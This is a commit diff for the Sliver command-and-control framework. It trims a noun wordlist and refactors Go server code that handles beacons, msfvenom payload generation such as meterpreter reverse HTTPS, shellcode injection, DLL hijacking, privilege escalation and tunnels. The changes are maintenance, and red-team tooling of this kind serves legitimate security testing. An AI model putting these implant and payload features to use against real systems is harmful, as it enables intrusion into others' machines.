||||
half
|
||||
half-brother
|
||||
half-sister
|
||||
halibut
|
||||
hall
|
||||
hallway
|
||||
hamaki
|
||||
hamburger
|
||||
hammer
|
||||
hammock
|
||||
hamster
|
||||
hand
|
||||
handball
|
||||
hand-holding
|
||||
handicap
|
||||
handle
|
||||
handlebar
|
||||
handmaiden
|
||||
@@ -1924,11 +1847,8 @@ hedgehog
|
||||
heel
|
||||
height
|
||||
heirloom
|
||||
helen
|
||||
helicopter
|
||||
helium
|
||||
hell
|
||||
hellcat
|
||||
hello
|
||||
helmet
|
||||
helo
|
||||
@@ -2016,7 +1936,6 @@ husband
|
||||
hut
|
||||
hutch
|
||||
hyacinth
|
||||
hybridisation
|
||||
hydrant
|
||||
hydraulics
|
||||
hydrofoil
|
||||
@@ -2094,8 +2013,6 @@ inspector
|
||||
instance
|
||||
instruction
|
||||
instrument
|
||||
instrumentalist
|
||||
instrumentation
|
||||
insulation
|
||||
insurance
|
||||
insurgence
|
||||
@@ -2135,17 +2052,13 @@ item
|
||||
jackal
|
||||
jacket
|
||||
jaguar
|
||||
jail
|
||||
jailhouse
|
||||
jam
|
||||
james
|
||||
jar
|
||||
jasmine
|
||||
jaw
|
||||
jealousy
|
||||
jeans
|
||||
jeep
|
||||
jeff
|
||||
jelly
|
||||
jellyfish
|
||||
jet
|
||||
@@ -2155,7 +2068,6 @@ jiffy
|
||||
job
|
||||
jockey
|
||||
jodhpurs
|
||||
joey
|
||||
jogging
|
||||
join
|
||||
joint
|
||||
@@ -2180,7 +2092,6 @@ jury
|
||||
justice
|
||||
jute
|
||||
kale
|
||||
kamikaze
|
||||
kangaroo
|
||||
karate
|
||||
karen
|
||||
@@ -2216,9 +2127,7 @@ kiss
|
||||
kitchen
|
||||
kite
|
||||
kitten
|
||||
kitty
|
||||
kleenex
|
||||
klomps
|
||||
knee
|
||||
kneejerk
|
||||
knickers
|
||||
@@ -2236,7 +2145,6 @@ laborer
|
||||
labour
|
||||
lace
|
||||
lack
|
||||
lacquerware
|
||||
ladder
|
||||
lady
|
||||
ladybug
|
||||
@@ -2508,7 +2416,6 @@ metro
|
||||
metronome
|
||||
mezzanine
|
||||
mice
|
||||
microlending
|
||||
microwave
|
||||
mid-course
|
||||
middle
|
||||
@@ -2562,19 +2469,14 @@ mobile
|
||||
moccasins
|
||||
mocha
|
||||
mode
|
||||
model
|
||||
modem
|
||||
mole
|
||||
mom
|
||||
moment
|
||||
monastery
|
||||
monasticism
|
||||
money
|
||||
monger
|
||||
monitor
|
||||
monkey
|
||||
monocle
|
||||
monotheism
|
||||
monsoon
|
||||
monster
|
||||
month
|
||||
@@ -2592,8 +2494,6 @@ mosquito
|
||||
most
|
||||
motel
|
||||
moth
|
||||
mother
|
||||
mother-in-law
|
||||
motion
|
||||
motor
|
||||
motorboat
|
||||
@@ -2625,7 +2525,6 @@ music-making
|
||||
mustache
|
||||
mustard
|
||||
mutt
|
||||
mycoplasma
|
||||
n
|
||||
nail
|
||||
name
|
||||
@@ -2659,9 +2558,6 @@ netball
|
||||
netbook
|
||||
netsuke
|
||||
network
|
||||
neurobiologist
|
||||
neuropathologist
|
||||
neuropsychiatry
|
||||
news
|
||||
newspaper
|
||||
newsprint
|
||||
@@ -2835,9 +2731,7 @@ panda
|
||||
panic
|
||||
pannier
|
||||
panpipe
|
||||
pansy
|
||||
panther
|
||||
panties
|
||||
pantologist
|
||||
pantology
|
||||
pantry
|
||||
@@ -2913,7 +2807,6 @@ pearl
|
||||
pedal
|
||||
peen
|
||||
peer
|
||||
peer-to-peer
|
||||
pegboard
|
||||
pelican
|
||||
pelt
|
||||
@@ -3065,7 +2958,6 @@ poof
|
||||
pool
|
||||
pop
|
||||
popcorn
|
||||
poppy
|
||||
popsicle
|
||||
population
|
||||
populist
|
||||
@@ -3084,7 +2976,6 @@ post
|
||||
postage
|
||||
postbox
|
||||
poster
|
||||
pot
|
||||
potato
|
||||
potential
|
||||
potty
|
||||
@@ -3112,7 +3003,6 @@ president
|
||||
press
|
||||
pressroom
|
||||
pressure
|
||||
pressurisation
|
||||
price
|
||||
pride
|
||||
priest
|
||||
@@ -3250,7 +3140,6 @@ rambler
|
||||
ramie
|
||||
ranch
|
||||
random
|
||||
randomisation
|
||||
range
|
||||
rank
|
||||
raspberry
|
||||
@@ -3303,10 +3192,8 @@ regret
|
||||
regular
|
||||
regulation
|
||||
reindeer
|
||||
reinscription
|
||||
reject
|
||||
relation
|
||||
relationship
|
||||
relative
|
||||
relaxation
|
||||
release
|
||||
@@ -3345,7 +3232,6 @@ respect
|
||||
respite
|
||||
respond
|
||||
response
|
||||
responsibility
|
||||
rest
|
||||
restaurant
|
||||
result
|
||||
@@ -3377,7 +3263,6 @@ rifle
|
||||
right
|
||||
rim
|
||||
ring
|
||||
ringworm
|
||||
rip
|
||||
ripple
|
||||
rise
|
||||
@@ -3481,13 +3366,11 @@ scallion
|
||||
scanner
|
||||
scarecrow
|
||||
scarf
|
||||
scarification
|
||||
scene
|
||||
scenery
|
||||
scent
|
||||
schedule
|
||||
scheme
|
||||
schizophrenic
|
||||
schnitzel
|
||||
school
|
||||
schoolhouse
|
||||
@@ -3546,7 +3429,6 @@ sense
|
||||
sensitive
|
||||
sentence
|
||||
sepal
|
||||
septicaemia
|
||||
series
|
||||
servant
|
||||
serve
|
||||
@@ -3648,9 +3530,6 @@ sing
|
||||
singer
|
||||
single
|
||||
sink
|
||||
sir
|
||||
sister
|
||||
sister-in-law
|
||||
sitar
|
||||
site
|
||||
situation
|
||||
@@ -3747,8 +3626,6 @@ source
|
||||
sourwood
|
||||
sousaphone
|
||||
south
|
||||
south america
|
||||
south korea
|
||||
sow
|
||||
soy
|
||||
soybean
|
||||
@@ -3846,15 +3723,6 @@ steeple
|
||||
stem
|
||||
stencil
|
||||
step
|
||||
step-aunt
|
||||
step-brother
|
||||
stepdaughter
|
||||
step-daughter
|
||||
step-father
|
||||
step-grandfather
|
||||
step-grandmother
|
||||
stepmother
|
||||
step-mother
|
||||
stepping-stone
|
||||
steps
|
||||
step-sister
|
||||
@@ -4165,7 +4033,6 @@ total
|
||||
tote
|
||||
touch
|
||||
tough
|
||||
tough-guy
|
||||
tour
|
||||
tourist
|
||||
towel
|
||||
@@ -4266,7 +4133,6 @@ two
|
||||
type
|
||||
typewriter
|
||||
typhoon
|
||||
tyvek
|
||||
ukulele
|
||||
umbrella
|
||||
unblinking
|
||||
@@ -4314,16 +4180,12 @@ vase
|
||||
vast
|
||||
vault
|
||||
vaulting
|
||||
veal
|
||||
vegetable
|
||||
vegetarianism
|
||||
vegetation
|
||||
vehicle
|
||||
veil
|
||||
vein
|
||||
veldt
|
||||
vellum
|
||||
velodrome
|
||||
velvet
|
||||
vengeance
|
||||
venom
|
||||
@@ -4347,8 +4209,6 @@ village
|
||||
vineyard
|
||||
vinyl
|
||||
viola
|
||||
violence
|
||||
violet
|
||||
violin
|
||||
virginal
|
||||
virtue
|
||||
|
||||
+1
-1
@@ -99,7 +99,7 @@ func (j *jobs) Get(jobID int) *Job {
|
||||
return nil
|
||||
}
|
||||
val, ok := j.active.Load(jobID)
|
||||
if !ok {
|
||||
if ok {
|
||||
return val.(*Job)
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -293,7 +293,7 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
return beacons, err
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
tasks := []*models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
@@ -301,7 +301,7 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
State: models.PENDING,
|
||||
},
|
||||
).Find(&tasks).Error
|
||||
).Order("created_at").Find(&tasks).Error
|
||||
return tasks, err
|
||||
}
|
||||
|
||||
|
||||
@@ -123,6 +123,8 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
}
|
||||
|
||||
beaconHandlerLog.Infof("Beacon %s requested pending task(s)", beaconTasks.ID)
|
||||
|
||||
// Pending tasks are ordered by their creation time.
|
||||
pendingTasks, err := db.PendingBeaconTasksByBeaconID(beaconTasks.ID)
|
||||
if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
beaconHandlerLog.Errorf("Beacon task database error: %s", err)
|
||||
|
||||
@@ -187,11 +187,11 @@ func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.Imp
|
||||
}
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.ProfileEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", profile.Name)),
|
||||
Data: []byte(profile.Name),
|
||||
})
|
||||
return profile, nil
|
||||
}
|
||||
return nil, errors.New("Invalid profile name")
|
||||
return nil, errors.New("invalid profile name")
|
||||
}
|
||||
|
||||
// DeleteImplantProfile - Delete an implant profile
|
||||
@@ -204,7 +204,7 @@ func (rpc *Server) DeleteImplantProfile(ctx context.Context, req *clientpb.Delet
|
||||
if err == nil {
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.ProfileEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", profile.Name)),
|
||||
Data: []byte(profile.Name),
|
||||
})
|
||||
}
|
||||
return &commonpb.Empty{}, err
|
||||
@@ -224,7 +224,7 @@ func (rpc *Server) DeleteImplantBuild(ctx context.Context, req *clientpb.DeleteR
|
||||
if err == nil {
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.BuildEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", build.Name)),
|
||||
Data: []byte(build.Name),
|
||||
})
|
||||
}
|
||||
return &commonpb.Empty{}, err
|
||||
|
||||
@@ -100,9 +100,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
}
|
||||
|
||||
if p.Config.Format != clientpb.OutputFormat_SHARED_LIB {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf(
|
||||
return nil, status.Error(codes.InvalidArgument,
|
||||
"please select a profile targeting a shared library format",
|
||||
))
|
||||
)
|
||||
}
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
@@ -145,7 +145,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
Path: req.TargetLocation,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(defaultTimeout),
|
||||
Timeout: int64(minTimeout),
|
||||
},
|
||||
})
|
||||
|
||||
|
||||
@@ -24,12 +24,11 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
var (
|
||||
hostsRPCLog = log.NamedLogger("rpc", "hosts")
|
||||
)
|
||||
// var (
|
||||
// hostsRPCLog = log.NamedLogger("rpc", "hosts")
|
||||
// )
|
||||
|
||||
// Hosts - List all hosts
|
||||
func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
|
||||
|
||||
@@ -43,7 +43,7 @@ const (
|
||||
|
||||
var (
|
||||
// ErrInvalidPort - Invalid TCP port number
|
||||
ErrInvalidPort = errors.New("Invalid listener port")
|
||||
ErrInvalidPort = errors.New("invalid listener port")
|
||||
)
|
||||
|
||||
// GetJobs - List jobs
|
||||
@@ -78,7 +78,7 @@ func (rpc *Server) KillJob(ctx context.Context, kill *clientpb.KillJobReq) (*cli
|
||||
}
|
||||
} else {
|
||||
killJob.Success = false
|
||||
err = errors.New("Invalid Job ID")
|
||||
err = errors.New("invalid Job ID")
|
||||
}
|
||||
return killJob, err
|
||||
}
|
||||
|
||||
@@ -25,13 +25,12 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/loot"
|
||||
)
|
||||
|
||||
var (
|
||||
lootRPCLog = log.NamedLogger("rpc", "loot")
|
||||
)
|
||||
// var (
|
||||
// lootRPCLog = log.NamedLogger("rpc", "loot")
|
||||
// )
|
||||
|
||||
// LootAdd - Add loot
|
||||
func (rpc *Server) LootAdd(ctx context.Context, lootReq *clientpb.Loot) (*clientpb.Loot, error) {
|
||||
|
||||
@@ -20,6 +20,7 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"path"
|
||||
@@ -63,7 +64,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
|
||||
arch = beacon.Arch
|
||||
}
|
||||
|
||||
config := msf.VenomConfig{
|
||||
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
|
||||
Os: os,
|
||||
Arch: msf.Arch(arch),
|
||||
Payload: req.Payload,
|
||||
@@ -72,8 +73,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
|
||||
Encoder: req.Encoder,
|
||||
Iterations: int(req.Iterations),
|
||||
Format: "raw",
|
||||
}
|
||||
rawPayload, err := msf.VenomPayload(config)
|
||||
})
|
||||
if err != nil {
|
||||
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
|
||||
return nil, err
|
||||
@@ -82,6 +82,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
|
||||
Encoder: "raw",
|
||||
Data: rawPayload,
|
||||
RWXPages: true,
|
||||
Request: req.Request,
|
||||
}
|
||||
resp := &sliverpb.Task{Response: &commonpb.Response{}}
|
||||
err = rpc.GenericHandler(taskReq, resp)
|
||||
@@ -114,7 +115,8 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
|
||||
os = beacon.OS
|
||||
arch = beacon.Arch
|
||||
}
|
||||
config := msf.VenomConfig{
|
||||
|
||||
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
|
||||
Os: os,
|
||||
Arch: msf.Arch(arch),
|
||||
Payload: req.Payload,
|
||||
@@ -123,8 +125,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
|
||||
Encoder: req.Encoder,
|
||||
Iterations: int(req.Iterations),
|
||||
Format: "raw",
|
||||
}
|
||||
rawPayload, err := msf.VenomPayload(config)
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -133,6 +134,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
|
||||
Encoder: "raw",
|
||||
Data: rawPayload,
|
||||
RWXPages: true,
|
||||
Request: req.Request,
|
||||
}
|
||||
resp := &sliverpb.Task{Response: &commonpb.Response{}}
|
||||
err = rpc.GenericHandler(taskReq, resp)
|
||||
@@ -170,7 +172,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
|
||||
payload = "meterpreter/reverse_https"
|
||||
uri = generateCallbackURI()
|
||||
default:
|
||||
return MSFStage, fmt.Errorf("Protocol not supported")
|
||||
return MSFStage, errors.New("protocol not supported")
|
||||
}
|
||||
|
||||
// We only support windows at the moment
|
||||
|
||||
@@ -86,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, err = ioutil.ReadFile(shellcodePath)
|
||||
shellcode, _ = ioutil.ReadFile(shellcodePath)
|
||||
}
|
||||
data, err := proto.Marshal(&sliverpb.InvokeGetSystemReq{
|
||||
Data: shellcode,
|
||||
|
||||
@@ -134,15 +134,8 @@ func (s *Server) CreateSocks(ctx context.Context, req *sliverpb.Socks) (*sliverp
|
||||
// CloseSocks - Client requests we close a Socks
|
||||
func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb.Empty, error) {
|
||||
err := core.SocksTunnels.Close(req.TunnelID)
|
||||
|
||||
if _, ok := toImplantCacheSocks[req.TunnelID]; ok {
|
||||
delete(toImplantCacheSocks, req.TunnelID)
|
||||
}
|
||||
|
||||
if _, ok := fromImplantCacheSocks[req.TunnelID]; ok {
|
||||
delete(fromImplantCacheSocks, req.TunnelID)
|
||||
}
|
||||
|
||||
delete(toImplantCacheSocks, req.TunnelID)
|
||||
delete(fromImplantCacheSocks, req.TunnelID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
+42
-43
@@ -24,7 +24,6 @@ import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
@@ -78,7 +77,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, err = ioutil.ReadFile(shellcodePath)
|
||||
shellcode, _ = ioutil.ReadFile(shellcodePath)
|
||||
}
|
||||
reqData, err := proto.Marshal(&sliverpb.InvokeMigrateReq{
|
||||
Request: req.Request,
|
||||
@@ -332,49 +331,49 @@ func getOrdinal(index uint32, rawData []byte, fpe *pe.File, funcArrayFoa uint32)
|
||||
return funcOffset
|
||||
}
|
||||
|
||||
func getExportOffsetFromFile(filepath string, exportName string) (funcOffset uint32, err error) {
|
||||
rawData, err := ioutil.ReadFile(filepath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
handle, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer handle.Close()
|
||||
fpe, _ := pe.NewFile(handle)
|
||||
var exportDirectoryRVA uint32
|
||||
switch (fpe.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
case *pe.OptionalHeader64:
|
||||
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
}
|
||||
var offset = rvaToFoa(exportDirectoryRVA, fpe)
|
||||
exportDir := ExportDirectory{}
|
||||
buff := &bytes.Buffer{}
|
||||
buff.Write(rawData[offset:])
|
||||
err = binary.Read(buff, binary.LittleEndian, &exportDir)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
current := exportDir.AddressOfNames
|
||||
nameArrayFOA := rvaToFoa(exportDir.AddressOfNames, fpe)
|
||||
ordinalArrayFOA := rvaToFoa(exportDir.AddressOfNameOrdinals, fpe)
|
||||
funcArrayFoa := rvaToFoa(exportDir.AddressOfFunctions, fpe)
|
||||
// func getExportOffsetFromFile(filepath string, exportName string) (funcOffset uint32, err error) {
|
||||
// rawData, err := ioutil.ReadFile(filepath)
|
||||
// if err != nil {
|
||||
// return 0, err
|
||||
// }
|
||||
// handle, err := os.Open(filepath)
|
||||
// if err != nil {
|
||||
// return 0, err
|
||||
// }
|
||||
// defer handle.Close()
|
||||
// fpe, _ := pe.NewFile(handle)
|
||||
// var exportDirectoryRVA uint32
|
||||
// switch (fpe.OptionalHeader).(type) {
|
||||
// case *pe.OptionalHeader32:
|
||||
// exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
// case *pe.OptionalHeader64:
|
||||
// exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
// }
|
||||
// var offset = rvaToFoa(exportDirectoryRVA, fpe)
|
||||
// exportDir := ExportDirectory{}
|
||||
// buff := &bytes.Buffer{}
|
||||
// buff.Write(rawData[offset:])
|
||||
// err = binary.Read(buff, binary.LittleEndian, &exportDir)
|
||||
// if err != nil {
|
||||
// return 0, err
|
||||
// }
|
||||
// current := exportDir.AddressOfNames
|
||||
// nameArrayFOA := rvaToFoa(exportDir.AddressOfNames, fpe)
|
||||
// ordinalArrayFOA := rvaToFoa(exportDir.AddressOfNameOrdinals, fpe)
|
||||
// funcArrayFoa := rvaToFoa(exportDir.AddressOfFunctions, fpe)
|
||||
|
||||
for i := uint32(0); i < exportDir.NumberOfNames; i++ {
|
||||
index := nameArrayFOA + i*8
|
||||
name := getFuncName(index, rawData, fpe)
|
||||
if strings.Contains(name, exportName) {
|
||||
ordIndex := ordinalArrayFOA + i*2
|
||||
funcOffset = getOrdinal(ordIndex, rawData, fpe, funcArrayFoa)
|
||||
}
|
||||
current += uint32(binary.Size(i))
|
||||
}
|
||||
// for i := uint32(0); i < exportDir.NumberOfNames; i++ {
|
||||
// index := nameArrayFOA + i*8
|
||||
// name := getFuncName(index, rawData, fpe)
|
||||
// if strings.Contains(name, exportName) {
|
||||
// ordIndex := ordinalArrayFOA + i*2
|
||||
// funcOffset = getOrdinal(ordIndex, rawData, fpe, funcArrayFoa)
|
||||
// }
|
||||
// current += uint32(binary.Size(i))
|
||||
// }
|
||||
|
||||
return
|
||||
}
|
||||
// return
|
||||
// }
|
||||
|
||||
func getExportOffsetFromMemory(rawData []byte, exportName string) (funcOffset uint32, err error) {
|
||||
peReader := bytes.NewReader(rawData)
|
||||
|
||||
@@ -63,15 +63,8 @@ func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*slive
|
||||
// CloseTunnel - Client requests we close a tunnel
|
||||
func (s *Server) CloseTunnel(ctx context.Context, req *sliverpb.Tunnel) (*commonpb.Empty, error) {
|
||||
err := core.Tunnels.Close(req.TunnelID)
|
||||
|
||||
if _, ok := toImplantCache[req.TunnelID]; ok {
|
||||
delete(toImplantCache, req.TunnelID)
|
||||
}
|
||||
|
||||
if _, ok := fromImplantCache[req.TunnelID]; ok {
|
||||
delete(fromImplantCache, req.TunnelID)
|
||||
}
|
||||
|
||||
delete(toImplantCache, req.TunnelID)
|
||||
delete(fromImplantCache, req.TunnelID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -107,7 +100,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
|
||||
|
||||
go func() {
|
||||
|
||||
sendCache, _ := toImplantCache[tunnel.ID]
|
||||
sendCache := toImplantCache[tunnel.ID]
|
||||
for tunnelData := range tunnel.FromImplant {
|
||||
|
||||
tunnelLog.Debugf("Tunnel %d: From implant %d byte(s), seq: %d ack: %d",
|
||||
@@ -170,7 +163,7 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
|
||||
|
||||
go func() {
|
||||
session := core.Sessions.Get(tunnel.SessionID)
|
||||
sendCache, _ := toImplantCache[tunnel.ID]
|
||||
sendCache := toImplantCache[tunnel.ID]
|
||||
for data := range tunnel.ToImplant {
|
||||
tunnelLog.Debugf("Tunnel %d: To implant %d byte(s), seq: %d", tunnel.ID, len(data), tunnel.ToImplantSequence)
|
||||
tunnelData := sliverpb.TunnelData{
|
||||
|
||||
@@ -20,7 +20,6 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"mime"
|
||||
"path/filepath"
|
||||
|
||||
@@ -83,7 +82,7 @@ func (rpc *Server) WebsiteRemove(ctx context.Context, req *clientpb.Website) (*c
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WebsiteEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", req.Name)),
|
||||
Data: []byte(req.Name),
|
||||
})
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
@@ -122,7 +121,7 @@ func (rpc *Server) WebsiteAddContent(ctx context.Context, req *clientpb.WebsiteA
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WebsiteEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", req.Name)),
|
||||
Data: []byte(req.Name),
|
||||
})
|
||||
|
||||
return website.MapContent(req.Name, false)
|
||||
@@ -149,7 +148,7 @@ func (rpc *Server) WebsiteUpdateContent(ctx context.Context, req *clientpb.Websi
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WebsiteEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", req.Name)),
|
||||
Data: []byte(req.Name),
|
||||
})
|
||||
|
||||
return website.MapContent(req.Name, false)
|
||||
@@ -167,7 +166,7 @@ func (rpc *Server) WebsiteRemoveContent(ctx context.Context, req *clientpb.Websi
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.WebsiteEvent,
|
||||
Data: []byte(fmt.Sprintf("%s", req.Name)),
|
||||
Data: []byte(req.Name),
|
||||
})
|
||||
|
||||
return website.MapContent(req.Name, false)
|
||||
|
||||
+5
-4
@@ -44,7 +44,7 @@ var (
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = time.Duration(30 * time.Second)
|
||||
minTimeout = time.Duration(30 * time.Second)
|
||||
)
|
||||
|
||||
// Server - gRPC server
|
||||
@@ -132,12 +132,13 @@ func (rpc *Server) GenericHandler(req GenericRequest, resp GenericResponse) erro
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return rpc.getError(resp.(GenericResponse))
|
||||
return rpc.getError(resp)
|
||||
}
|
||||
|
||||
// asyncGenericHandler - Generic handler for async request/response's for beacon tasks
|
||||
func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse) error {
|
||||
rpcLog.Debugf("Async Generic Handler: %#v", req)
|
||||
// VERY VERBOSE
|
||||
// rpcLog.Debugf("Async Generic Handler: %#v", req)
|
||||
request := req.GetRequest()
|
||||
if request == nil {
|
||||
return ErrMissingRequestField
|
||||
@@ -202,7 +203,7 @@ func (rpc *Server) getClientCommonName(ctx context.Context) string {
|
||||
func (rpc *Server) getTimeout(req GenericRequest) time.Duration {
|
||||
timeout := req.GetRequest().Timeout
|
||||
if time.Duration(timeout) < time.Second {
|
||||
return defaultTimeout
|
||||
return minTimeout
|
||||
}
|
||||
return time.Duration(timeout)
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user